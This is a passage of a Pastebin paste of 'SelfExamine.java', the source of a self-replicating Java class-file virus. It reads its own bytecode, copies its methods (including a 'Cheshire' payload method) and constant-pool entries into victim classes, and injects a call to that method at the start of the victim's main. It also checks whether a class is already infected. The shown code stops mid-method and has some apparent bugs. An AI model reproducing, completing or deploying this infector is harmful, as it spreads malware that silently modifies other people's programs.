Advertisement
FlyFar

SelfExamine.java

Jul 27th, 2023
864
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 71.33 KB | Cybersecurity | 0 0
  1. import org.graalvm.compiler.nodes.memory.Access;
  2.  
  3. import java.io.*;
  4. import java.lang.invoke.MethodHandles;
  5. import java.nio.ByteBuffer;
  6. import java.nio.file.AccessDeniedException;
  7. import java.nio.file.Files;
  8. import java.nio.file.Paths;
  9. import java.util.ArrayList;
  10. import java.util.Arrays;
  11. import java.util.HashMap;
  12. import java.util.Properties;
  13. import java.util.jar.JarEntry;
  14. import java.util.jar.JarFile;
  15. import java.util.jar.JarInputStream;
  16. import java.util.jar.JarOutputStream;
  17. import java.util.zip.ZipException;
  18.  
  19.  
  20. public class SelfExamine{
  21.     /**
  22.      * Basic algorithm: Read ourself, read our own methods to copy them,
  23.      * find main in the target class, inject our methods and inject a
  24.      * call to the infect/copy function
  25.      */
  26.  
  27.     /**
  28.      * Go through all methods in our parsed class.
  29.      * We are assuming the class we're given is probably us and therefore looking
  30.      * for our own data to copy in preparation for our target.
  31.      *
  32.      * We need to copy from the constant pool:
  33.      *  - Name
  34.      *  - Descriptor
  35.      *  - Items for Method Attributes, Fields. Ugh...
  36.      *
  37.      * How do we want to write this...
  38.      * Something like copyMethods(findOurMethods())?
  39.      *
  40.      * @param parsedClass
  41.      */
  42.     public static void findOurMethods(HashMap<String, Object> parsedClass, HashMap<String, Object> target){
  43.         byte[][] methods = (byte[][]) parsedClass.get("methods");
  44.         byte[][] cpool = (byte[][]) parsedClass.get("constant_pool");
  45.         ArrayList<String> our_methods = new ArrayList<String>();
  46.  
  47.  
  48.         our_methods.add("findOurMethods");
  49.         our_methods.add("copyConstant");
  50.         our_methods.add("Cheshire");
  51.         our_methods.add("processVerificationTypeInfo");
  52.         our_methods.add("parseClassFile");
  53.         our_methods.add("instructionIndex");
  54.         our_methods.add("processInstructions");
  55.         our_methods.add("processAttribute");
  56.         our_methods.add("getUtf8Constant");
  57.         our_methods.add("addToPool");
  58.         our_methods.add("classBytes");
  59.         our_methods.add("copyMethod");
  60.         our_methods.add("getMethodName");
  61.         our_methods.add("getClassName");
  62.         our_methods.add("isInfected");
  63.         our_methods.add("searchFile");
  64.  
  65.  
  66.         //Loop through our methods and find the ones we're interested in
  67.         for(int i = 0; i < methods.length; i++){
  68.             ByteBuffer bb = ByteBuffer.wrap(Arrays.copyOfRange(methods[i], 2, 6));
  69.             int name_index = bb.getShort();
  70.             int descriptor_index = bb.getShort();
  71.             String name = new String(Arrays.copyOfRange(cpool[name_index-1], 3, cpool[name_index-1].length));
  72.             String descriptor = new String(Arrays.copyOfRange(cpool[descriptor_index-1], 3, cpool[descriptor_index-1].length));
  73.  
  74.              if(our_methods.contains(name)){
  75.                 try {
  76.                     copyMethod(parsedClass, i, target);
  77.                 }
  78.                 catch(IOException e){
  79.                     e.printStackTrace();
  80.                 }
  81.             }
  82.         }
  83.     }
  84.  
  85.     /**
  86.      * This is a super lame way to detect infection but it'll have to do for now.
  87.      * If class has a method called Cheshire, return true.
  88.      * @param parsedClass
  89.      * @return
  90.      */
  91.     public static boolean isInfected(HashMap<String, Object> parsedClass){
  92.         byte[][] methods = (byte[][]) parsedClass.get("methods");
  93.         boolean infected = false;
  94.         for(int i = 0; i < methods.length; i++){
  95.             ByteBuffer b = ByteBuffer.wrap(methods[i]);
  96.             b.get(new byte[2]);
  97.             int nameIndex = b.getShort();
  98.             b.get(new byte[4]);
  99.             String methodName = getUtf8Constant(nameIndex, parsedClass);
  100.             if(methodName.equals("Cheshire")){
  101.                 infected = true;
  102.  
  103.             }
  104.         }
  105.         return infected;
  106.     }
  107.  
  108.     /**
  109.      * Look for the main method. If it exists, inject invokestatic (cheshire methodref constant pool index)
  110.      * Rough method for doing this with our code:
  111.      *  1. Find main
  112.      *  2. Find the constant pool item corresponding to the Cheshire method
  113.      *  2. After all other methods have been added, add invokestatic [methodref] instruction as first instruction of main
  114.      *  method in victim class.
  115.      *  3. Add one to the first stackmapframe offset
  116.      *
  117.      *
  118.      */
  119.     public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
  120.         //Are there any functions called main?
  121.         //Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
  122.         //We should parse through the constant pool, look for the methodref with our method name and capture the index
  123.         byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
  124.         int methodRefIndex;
  125.         byte[] instruction_bytes = new byte[3];
  126.  
  127.         //Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef
  128.         //For that method manually.
  129.  
  130.         //Find the Constant Pool index of the MethodRef for our virus.
  131.         for(int i = 0; i < constant_pool.length; i++){
  132.             byte[] constant = constant_pool[i];
  133.  
  134.             if(constant[0] == (byte) 10){
  135.                 byte[] natindexbytes = new byte[2];
  136.                 System.arraycopy(constant, 3 , natindexbytes, 0, 2);
  137.                 int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF));
  138.                 byte[] NameAndType = constant_pool[NameAndTypeIndex-1];
  139.                 byte[] nameindexbytes = new byte[2];
  140.                 System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 );
  141.                 int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF));
  142.                 String methodName = getUtf8Constant(NameIndex, origin);
  143.                 if(methodName.equals("Cheshire")){
  144.                     methodRefIndex = i+1;
  145.                     methodRefIndex = copyConstant(origin, methodRefIndex, destination);
  146.                     ByteBuffer bb = ByteBuffer.allocate(2);
  147.                     bb.putShort((short) methodRefIndex);
  148.                     byte[] index_bytes = bb.array();
  149.                     byte invokestatic = (byte) 184;
  150.                     instruction_bytes[0] = invokestatic;
  151.                     instruction_bytes[1] = index_bytes[0];
  152.                     instruction_bytes[2] = index_bytes[1];
  153.                     ArrayList<byte[]> inject_instructions = new ArrayList<byte[]>();
  154.                     inject_instructions.add(instruction_bytes);
  155.                     destination.put("inject_instructions", inject_instructions);
  156.                 }
  157.             }
  158.         }
  159.  
  160.         byte[][] methods = (byte[][]) destination.get("methods");
  161.         for(int i = 0; i < methods.length; i++){
  162.             ByteBuffer b = ByteBuffer.wrap(methods[i]);
  163.             b.get(new byte[2]);
  164.             int nameIndex = b.getShort();
  165.             b.get(new byte[4]);
  166.             String methodName = getUtf8Constant(nameIndex, destination);
  167.             if(methodName.equals("main")){
  168.                 try {
  169.                     copyMethod((HashMap<String, Object>) destination.clone(), i, destination);
  170.                 } catch (IOException e) {
  171.                     e.printStackTrace();
  172.                 }
  173.  
  174.             }
  175.         }
  176.  
  177.     }
  178.  
  179.     /**
  180.      * Fortunately for us, not much to do here. Process verification type info for items on the stack.
  181.      * Not touching it, so essentially just copying the data.
  182.      * @param b
  183.      * @param origin
  184.      * @param destination
  185.      * @return
  186.      */
  187.     public static byte[] processVerificationTypeInfo(ByteBuffer b, HashMap<String, Object> origin, HashMap<String, Object> destination){
  188.         byte tagbyte = b.get();
  189.         int tag = tagbyte & 0xFF;
  190.         if(tag >= 0 && tag < 7){
  191.             ByteBuffer newbuff = ByteBuffer.allocate(1);
  192.             newbuff.put(tagbyte);
  193.             return newbuff.array();
  194.         }
  195.         else if(tag == 7){
  196.             ByteBuffer newbuff = ByteBuffer.allocate(3);
  197.             int index = b.getShort();
  198.             newbuff.put(tagbyte);
  199.             int new_index = copyConstant(origin, index, destination);
  200.             newbuff.putShort((short) new_index);
  201.             return newbuff.array();
  202.         }
  203.         else if(tag == 8){
  204.             ByteBuffer newbuff = ByteBuffer.allocate(3);
  205.             newbuff.put(tagbyte);
  206.             int offset = b.getShort();
  207.             newbuff.putShort((short) offset);
  208.             return newbuff.array();
  209.         }
  210.         else {
  211.             return null;
  212.         }
  213.     }
  214.  
  215.     /**
  216.      * Convert the index in the old code byte array to an index at the same instruction in the
  217.      * new list. Return the new index.
  218.      * First, find the instruction position in the OldList. Then, if necessary, find the remainder.
  219.      * Next, take that instruction position and cycle through the newList, adding the length of each instruction
  220.      * as you go. Once that instruction position is reached, add the remainder.
  221.      * If two instruction lists of different sizes are passed, we assume instructions are being injected at the
  222.      * beginning of the list.
  223.      * Step 1. How many more instructions in old list than new list?
  224.      * Step 2. Start from equivalent position by subtracting number of instructions
  225.      * Step 3. Add delta to instruction_pos for accurate offset
  226.      *
  227.      * @param index
  228.      * @param oldList
  229.      * @param newList
  230.      * @return
  231.      */
  232.     public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
  233.         int oldposition = 0;
  234.         int newposition = 0;
  235.         int remainder = 0;
  236.         int instruction_pos = 0;
  237.         int list_offset = 0;
  238.         if(oldList.size() != newList.size()){
  239.             list_offset = newList.size() - oldList.size();
  240.         }
  241.         // Step one: Convert old index
  242.         while(oldposition < index){
  243.             if(oldposition + oldList.get(instruction_pos).length <= index){
  244.                 oldposition += oldList.get(instruction_pos).length;
  245.                 instruction_pos += 1;
  246.             }
  247.             else if(oldposition + oldList.get(instruction_pos).length > index){
  248.                 oldposition += oldList.get(instruction_pos).length;
  249.                 instruction_pos += 1;
  250.                 remainder = oldposition - index;
  251.                 oldposition -= remainder;
  252.             }
  253.         }
  254.         instruction_pos += list_offset;
  255.         //Step two: Convert instruction_pos + remainder to new position
  256.         for(int i = 0; i < instruction_pos; i++){
  257.             newposition += newList.get(i).length;
  258.         }
  259.         return newposition;
  260.     }
  261.  
  262.     /**
  263.      * This function ended up being more complex than I'd thought.
  264.      * We want to create a data structure where new offsets can be calculated based on instruction position.
  265.      * Ideally, we keep old and new code in a 2d array and calculate offsets based on where instructions are
  266.      * rather than doing individual calculations for each piece. I think it's also ideal if we write
  267.      * function to translate an old position to a new one at any given time. Due to functions being processed
  268.      * one at a time, I think it's OK to store this data in the origin and destination hash maps(if needed).
  269.      *
  270.      * The process of adjustment should look something like this:
  271.      * Instructions are read into an ArrayList of byte arrays.
  272.      * The origin class and the destination class are both given copies of the same list.
  273.      * Following that, the origin class is processed to:
  274.      *  1. Add new constant pool indices
  275.      *  2. Change instructions if necessary
  276.      *  3. adjust if, goto offsets
  277.      *
  278.      *  NOTE TO SELF: I SKIPPED PARSING LOOKUPSWTICH BECAUSE IT'S NOT IN ANY OF THE CODE TO BE COPIED
  279.      * @param instructions
  280.      * @param origin
  281.      * @param destination
  282.      * @return
  283.      */
  284.     public static byte[] processInstructions(byte[] instructions, HashMap<String, Object> origin, HashMap<String, Object> destination, ArrayList<byte[]> injectInstructions){
  285.         ByteBuffer buffer = ByteBuffer.wrap(instructions);
  286.         int code_length = instructions.length;
  287.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  288.         ArrayList<byte[]> byteList = new ArrayList<byte[]>();
  289.         while(buffer.hasRemaining()){
  290.             byte instruction = buffer.get();
  291.             if((instruction & 0xff) == 18){
  292.                 byte index = buffer.get();
  293.                 byte[] inst_bytes = new byte[2];
  294.                 inst_bytes[0] = instruction;
  295.                 inst_bytes[1] = index;
  296.                 byteList.add(inst_bytes);
  297.             }
  298.             else if((instruction & 0xff) == 182 || (instruction & 0xff) == 19 || (instruction & 0xff) == 183 || (instruction & 0xff) == 192 || (instruction & 0xff) == 187 || (instruction & 0xff) == 184 || (instruction & 0xff) == 178 || (instruction & 0xff) == 189 || (instruction & 0xff) == 180 || (instruction & 0xff) == 20){
  299.                 int old_index = buffer.getShort();
  300.                 int new_index = copyConstant(origin, old_index, destination);
  301.                 ByteBuffer temp = ByteBuffer.allocate(2);
  302.                 temp.putShort((short) new_index);
  303.                 byte[] index_bytes = temp.array();
  304.                 byte[] inst_bytes = new byte[3];
  305.                 inst_bytes[0] = instruction;
  306.                 inst_bytes[1] = index_bytes[0];
  307.                 inst_bytes[2] = index_bytes[1];
  308.                 byteList.add(inst_bytes);
  309.             }
  310.             else if((instruction & 0xff) == 186){
  311.                 int old_index = buffer.getShort();
  312.                 int new_index = copyConstant(origin, old_index, destination);
  313.                 ByteBuffer tempBuff = ByteBuffer.allocate(2);
  314.                 tempBuff.putShort((short) new_index);
  315.                 byte[] index_bytes = tempBuff.array();
  316.                 byte b1 = buffer.get();
  317.                 byte b2 = buffer.get();
  318.                 byte[] inst_bytes = new byte[5];
  319.                 inst_bytes[0] = instruction;
  320.                 inst_bytes[1] = index_bytes[0];
  321.                 inst_bytes[2] = index_bytes[1];
  322.                 index_bytes[3] = b1;
  323.                 index_bytes[4] = b2;
  324.                 byteList.add(inst_bytes);
  325.             }
  326.             else if((instruction & 0xff) == 201){
  327.                 byte b1 = buffer.get();
  328.                 byte b2 = buffer.get();
  329.                 byte b3 = buffer.get();
  330.                 byte b4 = buffer.get();
  331.                 byte[] inst_bytes = new byte[5];
  332.                 inst_bytes[0] = b1;
  333.                 inst_bytes[1] = b2;
  334.                 inst_bytes[2] = b3;
  335.                 inst_bytes[3] = b4;
  336.                 byteList.add(inst_bytes);
  337.             }
  338.             else if((instruction & 0xff) == 185){
  339.                 int old_index = buffer.getShort();
  340.                 int new_index = copyConstant(origin, old_index, destination);
  341.                 ByteBuffer temp = ByteBuffer.allocate(2);
  342.                 temp.putShort((short) new_index);
  343.                 byte[] indexBytes = temp.array();
  344.                 byte b1 = buffer.get();
  345.                 byte b2 = buffer.get();
  346.                 byte[] inst_bytes = new byte[5];
  347.                 inst_bytes[0] = instruction;
  348.                 inst_bytes[1] = indexBytes[0];
  349.                 inst_bytes[2] = indexBytes[1];
  350.                 inst_bytes[3] = b1;
  351.                 inst_bytes[4] = b2;
  352.                 byteList.add(inst_bytes);
  353.             }
  354.             else if((instruction & 0xff) == 200){
  355.                 byte[] inst_bytes = new byte[5];
  356.                 inst_bytes[0] = instruction;
  357.                 byte b1 = buffer.get();
  358.                 byte b2 = buffer.get();
  359.                 byte b3 = buffer.get();
  360.                 byte b4 = buffer.get();
  361.                 inst_bytes[1] = b1;
  362.                 inst_bytes[2] = b2;
  363.                 inst_bytes[3] = b3;
  364.                 inst_bytes[4] = b4;
  365.                 byteList.add(inst_bytes);
  366.             }
  367.             else if((instruction & 0xff) == 17 || (instruction & 0xff) == 181 || (instruction & 0xff) == 165 || (instruction & 0xff) == 166 || (instruction & 0xff) == 159 || (instruction & 0xff) == 160 || (instruction & 0xff) == 161 || (instruction & 0xff) == 162 || (instruction & 0xff) == 163 || (instruction & 0xff) == 164 || (instruction & 0xff) == 153 || (instruction & 0xff) == 154 || (instruction & 0xff) == 155 || (instruction & 0xff) == 156 || (instruction & 0xff) == 157 || (instruction & 0xff) == 158 || (instruction & 0xff) == 199 || (instruction & 0xff) == 198 || (instruction & 0xff) == 132 || (instruction & 0xff) == 193 || (instruction & 0xff) == 168 || (instruction & 0xff) == 167 || (instruction & 0xff) == 179){
  368.                 byte b1 = buffer.get();
  369.                 byte b2 = buffer.get();
  370.                 byte[] inst_bytes = new byte[3];
  371.                 inst_bytes[0] = instruction;
  372.                 inst_bytes[1] = b1;
  373.                 inst_bytes[2] = b2;
  374.                 byteList.add(inst_bytes);
  375.  
  376.             }
  377.             else if((instruction & 0xff) == 188 || (instruction & 0xff) == 22 || (instruction & 0xff) == 55 || (instruction & 0xff) == 25 || (instruction & 0xff) == 58 || (instruction & 0xff) == 16 || (instruction & 0xff) == 24 || (instruction & 0xff) == 57 || (instruction & 0xff) == 23 || (instruction & 0xff) == 56 || (instruction & 0xff) == 21 || (instruction & 0xff) == 54){
  378.                 byte[] inst_bytes = new byte[2];
  379.                 inst_bytes[0] = instruction;
  380.                 byte b = buffer.get();
  381.                 inst_bytes[1] = b;
  382.                 byteList.add(inst_bytes);
  383.             }
  384.             else if((instruction & 0xff) == 182 || (instruction & 0xff) == 183 || (instruction & 0xff) == 192 || (instruction & 0xff) == 187 || (instruction & 0xff) == 184 || (instruction & 0xff) == 178 || (instruction & 0xff) == 189 ){
  385.                 byte[] inst = new byte[3];
  386.                 inst[0] = instruction;
  387.                 int old_index = buffer.getShort();
  388.                 int new_index = copyConstant(origin, old_index, destination);
  389.                 ByteBuffer temp = ByteBuffer.allocate(2);
  390.                 temp.putShort((short) new_index);
  391.                 byte[] index_bytes = temp.array();
  392.                 inst[1] = index_bytes[0];
  393.                 inst[2] = index_bytes[1];
  394.                 byteList.add(inst);
  395.             }
  396.             else if((instruction & 0xff) == 197){
  397.                 byte[] inst_bytes = new byte[4];
  398.                 inst_bytes[0] = instruction;
  399.                 inst_bytes[1] = buffer.get();
  400.                 inst_bytes[2] = buffer.get();
  401.                 inst_bytes[3] = buffer.get();
  402.                 byteList.add(inst_bytes);
  403.             }
  404.             else {
  405.                 byte[] inst = new byte[1];
  406.                 inst[0] = instruction;
  407.                 byteList.add(inst);
  408.             }
  409.         }
  410.         origin.put("method_code", byteList.clone());
  411.  
  412.         int code_position = 0;
  413.  
  414.         for(byte[] bytes : byteList) {
  415.             byte[] inst = bytes;
  416.             if (inst[0] == 18) {
  417.                 int old_index = inst[1] & 0xff;
  418.                 int new_index = copyConstant(origin, old_index, destination);
  419.                 byte[] new_inst;
  420.                 if (new_index > 255) {
  421.                     new_inst = new byte[3];
  422.                     ByteBuffer b = ByteBuffer.allocate(2);
  423.                     b.putShort((short) new_index);
  424.                     new_inst[0] = 19;
  425.                     new_inst[1] = b.array()[0];
  426.                     new_inst[2] = b.array()[1];
  427.                     byteList.set(byteList.indexOf(inst), new_inst);
  428.                 } else {
  429.                     new_inst = new byte[2];
  430.                     new_inst[0] = 18;
  431.                     new_inst[1] = (byte) new_index;
  432.                     byteList.set(byteList.indexOf(inst), new_inst);
  433.                 }
  434.  
  435.             }
  436.         }
  437.         ArrayList<byte[]> newList = new ArrayList<byte[]>();
  438.         if(injectInstructions != null){
  439.             newList.addAll(injectInstructions);
  440.             newList.addAll(byteList);
  441.         }
  442.         else{
  443.             newList = byteList;
  444.         }
  445.  
  446.         for(int i = 0; i < byteList.size(); i++){
  447.             byte[] inst = byteList.get(i);
  448.             int list_offset = newList.size() - byteList.size();
  449.             int instruction = inst[0] & 0xFF;
  450.             if((inst[0] & 0xff) == 198 || (inst[0] & 0xff) == 162 || (inst[0] & 0xff) == 159 || (inst[0] & 0xff) == 155 || (inst[0] & 0xff) == 160 || (inst[0] & 0xff) == 161 || (inst[0] & 0xff) == 162 || (inst[0] & 0xff) == 163 || (inst[0] & 0xff) == 164 || (inst[0] & 0xff) == 153 || (inst[0] & 0xff) == 199){
  451.                 int offset = (short) (((inst[1] & 0xFF) << 8) | (inst[2] & 0xFF));
  452.                 int new_position = instructionIndex(code_position, (ArrayList<byte[]>) origin.get("method_code"), newList);
  453.                 int new_offset = instructionIndex(code_position + offset, (ArrayList<byte[]>) origin.get("method_code"), newList)- new_position;
  454.                 ByteBuffer offset_buff = ByteBuffer.allocate(3);
  455.                 offset_buff.put(inst[0]);
  456.                 offset_buff.putShort((short) new_offset);
  457.                 newList.set(i+list_offset, offset_buff.array());
  458.             }
  459.             if((inst[0] & 0xff) == 167){
  460.                 int offset = (short) (((inst[1] & 0xFF) << 8) | (inst[2] & 0xFF));
  461.                 int new_position = instructionIndex(code_position, (ArrayList<byte[]>) origin.get("method_code"), newList);
  462.                 int new_offset = instructionIndex(code_position + offset, (ArrayList<byte[]>) origin.get("method_code"), newList)- new_position;
  463.                 ByteBuffer offset_buff = ByteBuffer.allocate(3);
  464.                 offset_buff.put(inst[0]);
  465.                 offset_buff.putShort((short) new_offset);
  466.                 newList.set(i+list_offset, offset_buff.array());
  467.             }
  468.             code_position += ((ArrayList<byte[]>) origin.get("method_code")).get(i).length;
  469.  
  470.         }
  471.         destination.put("method_code", newList.clone());
  472.         for(byte[] inst : newList){
  473.             try {
  474.                 bos.write(inst);
  475.             } catch (IOException e) {
  476.                 e.printStackTrace();
  477.             }
  478.         }
  479.  
  480.         return bos.toByteArray();
  481.     }
  482.  
  483.     /**
  484.      * Returns an array of bytes corresponding to a set of attributes passed to it. Could be one or several.
  485.      * @return
  486.      */
  487.     public static byte[] processAttribute(byte[] attribute, HashMap<String, Object> origin, HashMap<String, Object> destination, String type) {
  488.         ByteBuffer b = ByteBuffer.allocate(attribute.length);
  489.         ByteBuffer buffer = ByteBuffer.wrap(attribute);
  490.  
  491.         if(type.equals("Code")){
  492.             //method_buffer[]
  493.             ByteBuffer tempBuffer = ByteBuffer.allocate(4);
  494.             tempBuffer.putShort(buffer.getShort());
  495.             tempBuffer.putShort(buffer.getShort());
  496.             int code_length = buffer.getInt();
  497.  
  498.             byte[] code = new byte[code_length];
  499.             buffer.get(code);
  500.             origin.put("method_code", null);
  501.             destination.put("method_code", null);
  502.             byte[] instructions = processInstructions(code, origin, destination, (ArrayList<byte[]>) destination.get("inject_instructions"));
  503.             b = ByteBuffer.allocate(attribute.length + (instructions.length - code_length));
  504.             b.put(tempBuffer.array());
  505.             code_length = instructions.length;
  506.             b.putInt(code_length);
  507.             b.put(instructions);
  508.             int exception_table_length = buffer.getShort();
  509.             b.putShort((short) exception_table_length);
  510.  
  511.             for(int c = 0; c < exception_table_length; c++){
  512.                 byte[] dump = new byte[6];
  513.                 buffer.get(dump);
  514.                 HashMap<Integer, Integer> offsets = (HashMap<Integer, Integer>) origin.get("method_offsets");
  515.                 int start_pc = (short) (((dump[0] & 0xFF) << 8) | (dump[1] & 0xFF));
  516.                 int end_pc = (short) (((dump[2] & 0xFF) << 8) | (dump[3] & 0xFF));
  517.                 int handler_pc = (short) (((dump[4] & 0xFF) << 8) | (dump[5] & 0xFF));
  518.                 start_pc = instructionIndex(start_pc, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code"));
  519.                 end_pc = instructionIndex(end_pc, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code"));
  520.                 handler_pc = instructionIndex(handler_pc, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code"));
  521.                 b.putShort((short) start_pc);
  522.                 b.putShort((short) end_pc);
  523.                 b.putShort((short) handler_pc);
  524.                 int catch_type = buffer.getShort();
  525.                 int new_catch_type = copyConstant(origin, catch_type, destination);
  526.                 b.putShort((short) new_catch_type);
  527.  
  528.             }
  529.  
  530.             int attributes_count = buffer.getShort();
  531.             b.putShort((short) attributes_count);
  532.             for(int d = 0; d < attributes_count; d++){
  533.                 int name_index = buffer.getShort();
  534.                 int new_name_index = copyConstant(origin, name_index, destination);
  535.                 b.putShort((short) new_name_index);
  536.                 int attribute_length = buffer.getInt();
  537.                 b.putInt(attribute_length);
  538.                 byte[] new_attribute = new byte[attribute_length];
  539.                 buffer.get(new_attribute);
  540.                 byte[] processedAttributed = processAttribute(new_attribute, origin, destination, getUtf8Constant(name_index, origin));
  541.                 if(processedAttributed.length == attribute_length){
  542.                     b.put(processedAttributed);
  543.                 }
  544.             }
  545.             return b.array();
  546.         }
  547.         else if(type.equals("LocalVariableTable")){
  548.             int table_length = buffer.getShort();
  549.             HashMap<Integer, Integer> offsets = (HashMap<Integer, Integer>) origin.get("method_offsets");
  550.             b.putShort((short) table_length);
  551.             HashMap<String, int[]> LVT = new HashMap<String, int[]>();
  552.             for(int i = 0; i < table_length; i++) {
  553.                 int start_pc = buffer.getShort();
  554.                 int length = buffer.getShort();
  555.                 int pc_length = start_pc+length;
  556.                 start_pc = instructionIndex(start_pc, (ArrayList<byte[]>) origin.get("method_code"),(ArrayList<byte[]>) destination.get("method_code"));
  557.                 length = instructionIndex(pc_length, (ArrayList<byte[]>) origin.get("method_code"),(ArrayList<byte[]>) destination.get("method_code")) - start_pc;
  558.                 if(start_pc == 65535){
  559.                     System.out.println("Woah nelly!");
  560.                 }
  561.                 b.putShort((short) start_pc);
  562.                 b.putShort((short) length);
  563.                 int orig_name_index = buffer.getShort();
  564.  
  565.                 int new_name_index = copyConstant(origin, orig_name_index, destination);
  566.                 b.putShort((short) new_name_index);
  567.                 int orig_descriptor_index = buffer.getShort();
  568.                 int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
  569.                 b.putShort((short) new_descriptor_index);
  570.                 b.putShort(buffer.getShort());
  571.                 int[] values = new int[2];
  572.                 values[0] = new_name_index;
  573.                 values[1] = new_descriptor_index;
  574.                 LVT.put(getUtf8Constant(orig_name_index, origin), values);
  575.             }
  576.             origin.put("LVT", LVT);
  577.             return b.array();
  578.         }
  579.         else if(type.equals("LocalVariableTypeTable")){
  580.             int table_length = buffer.getShort();
  581.             b.putShort((short) table_length);
  582.             HashMap<String, int[]> LVT = (HashMap<String, int[]>) origin.get("LVT");
  583.             HashMap<Integer, Integer> offsets = (HashMap<Integer, Integer>) origin.get("method_offsets");
  584.             for(int i = 0; i < table_length; i++) {
  585.                 int start_pc = buffer.getShort();
  586.                 int length = buffer.getShort();
  587.                 int pc_length = start_pc+length;
  588.                 start_pc = instructionIndex(start_pc, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code"));
  589.                 b.putShort((short) start_pc);
  590.                 length = instructionIndex(pc_length, (ArrayList<byte[]>) origin.get("method_code"),(ArrayList<byte[]>) destination.get("method_code")) - start_pc;
  591.                 b.putShort((short) length);
  592.                 int orig_name_index = buffer.getShort();
  593.                 int[] indices = LVT.get(getUtf8Constant(orig_name_index, origin));
  594.                 int new_name_index = (short) indices[0];
  595.                 b.putShort((short) indices[0]);
  596.                 int orig_descriptor_index = buffer.getShort();
  597.                 int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
  598.                 b.putShort((short) indices[1]);
  599.                 b.putShort(buffer.getShort());
  600.             }
  601.             return b.array();
  602.         }
  603.         else if(type.equals("Signature")){
  604.             int old_signature_index = buffer.getShort();
  605.             int new_signature_index = copyConstant(origin, old_signature_index, destination);
  606.             b.putShort((short) new_signature_index);
  607.             return b.array();
  608.         }
  609.         else if(type.equals("Exceptions")){
  610.             int number_of_exceptions = buffer.getShort();
  611.             b.putShort((short) number_of_exceptions);
  612.             for(int i = 0; i < number_of_exceptions; i++){
  613.                 int class_index = buffer.getShort();
  614.                 int new_class_index = copyConstant(origin, class_index, destination);
  615.                 b.putShort((short) new_class_index);
  616.             }
  617.             return b.array();
  618.         }
  619.         else if(type.equals("StackMapTable")){
  620.             int num_entries = buffer.getShort();
  621.             ByteArrayOutputStream bos = new ByteArrayOutputStream();
  622.             int frame_position = 0;
  623.             int old_frame_position = 0;
  624.             for(int i = 0; i < num_entries; i++){
  625.  
  626.                 byte tagbyte = buffer.get();
  627.                 int tag = tagbyte & 0xFF;
  628.  
  629.                 if(tag >= 0 && tag <= 63){
  630.                     int new_offset =  instructionIndex(old_frame_position + tag + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position +i);
  631.                     old_frame_position += tag;
  632.  
  633.                     Integer a = new_offset;
  634.                     byte newtag = a.byteValue();
  635.                     bos.write(newtag);
  636.  
  637.                     frame_position += new_offset;
  638.  
  639.                 }
  640.                 else if(tag >= 64 && tag <= 127){
  641.  
  642.                     int new_offset = instructionIndex(old_frame_position + (tag - 64) + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);
  643.  
  644.                     old_frame_position += (tag - 64);
  645.  
  646.                     byte newtag = (byte) (new_offset+64);
  647.                     bos.write(newtag);
  648.                     try {
  649.                         bos.write(processVerificationTypeInfo(buffer, origin, destination));
  650.                     }
  651.                     catch (IOException e){
  652.  
  653.                     }
  654.                     frame_position += new_offset;
  655.  
  656.                 }
  657.                 else if(tag == 247){
  658.                     bos.write(tagbyte);
  659.                     ByteBuffer bbuf = ByteBuffer.allocate(2);
  660.                     int offset = buffer.getShort();
  661.                     int new_offset = instructionIndex(old_frame_position + offset + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);
  662.  
  663.                     old_frame_position += offset;
  664.  
  665.                     bbuf.putShort((short) new_offset);
  666.                     try {
  667.                         bos.write(bbuf.array());
  668.                         bos.write(processVerificationTypeInfo(buffer, origin, destination));
  669.                     }
  670.                     catch (IOException e){
  671.  
  672.                     }
  673.  
  674.                     frame_position += new_offset;
  675.  
  676.                 }
  677.                 else if(tag >= 248 && tag <= 251){
  678.                     bos.write(tagbyte);
  679.                     int offset = buffer.getShort();
  680.                     int new_offset = instructionIndex(old_frame_position + offset + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);
  681.                     old_frame_position += offset;
  682.                     ByteBuffer bbuf = ByteBuffer.allocate(2);
  683.  
  684.                     bbuf.putShort((short) new_offset);
  685.  
  686.                     try {
  687.                         bos.write(bbuf.array());
  688.                     }
  689.                     catch (IOException e){
  690.  
  691.                     }
  692.  
  693.                     frame_position += new_offset;
  694.  
  695.                 }
  696.                 else if(tag >= 252 && tag <= 254){
  697.                     bos.write(tagbyte);
  698.                     ByteBuffer bbuf = ByteBuffer.allocate(2);
  699.                     byte[] offset = new byte[2];
  700.                     int o_offset = buffer.getShort();
  701.                     int offset_i = instructionIndex(o_offset + old_frame_position + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);
  702.  
  703.                     old_frame_position += o_offset;
  704.  
  705.  
  706.                     bbuf.putShort((short) offset_i);
  707.  
  708.                     try {
  709.                         bos.write(bbuf.array());
  710.                         int numtypes = tag - 251;
  711.                         for(int a = 0; a < numtypes; a++) {
  712.                             bos.write(processVerificationTypeInfo(buffer, origin, destination));
  713.                         }
  714.                     } catch (IOException e) {
  715.                         e.printStackTrace();
  716.                     }
  717.  
  718.                     frame_position += offset_i;
  719.  
  720.  
  721.  
  722.                 }
  723.                 else if(tag == 255){
  724.                     bos.write(tagbyte);
